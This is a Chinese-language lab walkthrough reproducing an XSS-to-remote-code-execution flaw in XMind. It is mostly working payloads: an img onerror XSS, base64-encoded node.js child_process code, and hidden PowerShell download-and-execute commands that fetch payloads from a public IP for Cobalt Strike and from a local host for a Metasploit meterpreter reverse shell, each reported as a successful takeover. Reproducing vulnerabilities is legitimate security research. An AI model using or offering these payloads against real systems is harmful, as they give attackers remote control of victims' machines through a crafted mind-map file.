XMind XSS RCE 漏洞复现
1 漏洞介绍
Xmind对输出的内容没有进行XSS过滤,所以会产生XSS漏洞,因为Xmind也启用了node.js功能,所以会导致命令执行。
2 环境搭建
3 漏洞复现
前期提要:
靶机:
Windows 10(XMind 202101070032)攻击机:
Kali 2023.1
只需要按住
ctrl靠近大纲字符最后就可以弹出:
<img src=1 onerror=alert(1)>

由于借助的是
node.js进行命令执行,
require('child_process').exec('whoami',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
base 64编码一下:
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==
Payload如下:
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>

4 主机上线
4.1 CobaltStrike 上线
创建一个
Web站点托管:

得到一个执行命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://114.132.241.133:80/xmind'))"
和前面的
Payload组合一下:
注:由于命令在单引号内,而 powershell 命令中也有单引号,所以需要用 \ 进行转义。
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://114.132.241.133:80/xmind\'))"',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
base 64一下:
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzExNC4xMzIuMjQxLjEzMzo4MC94bWluZFwnKSkiJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>

成功上线~
4.2 Metasploit 上线
与
CS几乎一致:
search web_de
use 1
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.103
run
上述命令执行完后,得到一个命令执行代码和地址:
http://192.168.0.103:8080/d2nmrgyYyAK7QhB
修改下上述
CS的代码:
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.0.103:8080/d2nmrgyYyAK7QhB\'))"',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
base 64编码一下:
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMC4xMDM6ODA4MC9kMm5tcmd5WXlBSzdRaEJcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>

成功上线~